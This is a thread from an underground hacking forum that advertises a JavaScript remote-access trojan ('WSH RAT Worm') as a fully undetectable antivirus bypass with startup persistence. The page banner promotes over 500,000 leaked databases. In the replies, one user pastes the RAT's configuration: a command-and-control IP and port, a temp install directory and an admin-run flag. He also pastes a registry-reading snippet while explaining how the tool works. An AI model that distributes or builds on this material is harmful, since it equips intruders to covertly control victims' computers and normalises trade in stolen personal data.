Create an account

Very important

  • To access the important data of the forums, you must be active in each forum and especially in the leaks and database leaks section, send data and after sending the data and activity, data and important content will be opened and visible for you.
  • You will only see chat messages from people who are at or below your level.
  • More than 500,000 database leaks and millions of account leaks are waiting for you, so access and view with more activity.
  • Many important data are inactive and inaccessible for you, so open them with activity. (This will be done automatically)


Thread Rating:
  • 377 Vote(s) - 3.46 Average
  • 1
  • 2
  • 3
  • 4
  • 5
WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020

#1

Reply

#2
I haven't got time to view the video, so I'm just curious as to where It adds Itself In Startup?

I assume In the run directories of the HKCU & HKLM registry hives?
Reply

#3
Quote:(05-16-2020, 05:11 AM)mothered Wrote:

[To see links please register here]

I haven't got time to view the video, so I'm just curious as to where It adds Itself In Startup?

I assume In the run directories of the HKCU & HKLM registry hives?
I'm not sure but by the way check is code when. You build u will got it
Reply

#4
Quote:(05-16-2020, 08:39 AM)hellboydz Wrote:

[To see links please register here]

Quote: (05-16-2020, 05:11 AM)mothered Wrote:

[To see links please register here]

I haven't got time to view the video, so I'm just curious as to where It adds Itself In Startup?

I assume In the run directories of the HKCU & HKLM registry hives?
I'm not sure but by the way check is code when. You build u will got it

No problem at all, I'll look Into It shortly.

Thanks for the reply.
Reply

#5
Quote:(05-16-2020, 04:18 PM)hellboydz Wrote:

[To see links please register here]

Quote: (05-16-2020, 09:26 AM)mothered Wrote:

[To see links please register here]

Quote: (05-16-2020, 08:39 AM)hellboydz Wrote:

[To see links please register here]

I'm not sure but by the way check is code when. You build u will got it

No problem at all, I'll look Into It shortly.

Thanks for the reply.
Let me explain it

Please do.
Reply

#6
Quote:(05-16-2020, 09:26 AM)mothered Wrote:

[To see links please register here]

Quote: (05-16-2020, 08:39 AM)hellboydz Wrote:

[To see links please register here]

Quote: (05-16-2020, 05:11 AM)mothered Wrote:

[To see links please register here]

I haven't got time to view the video, so I'm just curious as to where It adds Itself In Startup?

I assume In the run directories of the HKCU & HKLM registry hives?
I'm not sure but by the way check is code when. You build u will got it

No problem at all, I'll look Into It shortly.

Thanks for the reply.
Let me explain it
Reply

#7
Quote:(05-16-2020, 04:26 PM)mothered Wrote:

[To see links please register here]

Quote: (05-16-2020, 04:18 PM)hellboydz Wrote:

[To see links please register here]

Quote: (05-16-2020, 09:26 AM)mothered Wrote:

[To see links please register here]

No problem at all, I'll look Into It shortly.

Thanks for the reply.
Let me explain it

Please do.

//=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

var host = "192.168.168.248";
var port = 1330;
var installdir = "%temp%"; // store in temp if you something change it easy becuase open source
var runAsAdmin = false; // this is will be not run as administrator when start


here : try{fileicon = shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\" + shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\." + file.name.split(".")[file.name.split(".").length - 1]+ "\\") + "\\defaulticon\\"); }catch(eeee){}

did you see here its config
Reply

#8
Quote:(05-16-2020, 07:06 PM)hellboydz Wrote:

[To see links please register here]

Quote: (05-16-2020, 04:26 PM)mothered Wrote:

[To see links please register here]

Quote: (05-16-2020, 04:18 PM)hellboydz Wrote:

[To see links please register here]

Let me explain it

Please do.

//=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

var host = "192.168.168.248";
var port = 1330;
var installdir = "%temp%"; // store in temp if you something change it easy becuase open source
var runAsAdmin = false; // this is will be not run as administrator when start


here : try{fileicon = shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\" + shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\." + file.name.split(".")[file.name.split(".").length - 1]+ "\\") + "\\defaulticon\\"); }catch(eeee){}

did you see here its config

Nice.

Appreciate your time to provide the details.
Reply



Forum Jump:


Users browsing this thread:
1 Guest(s)

©0Day  2016 - 2023 | All Rights Reserved.  Made with    for the community. Connected through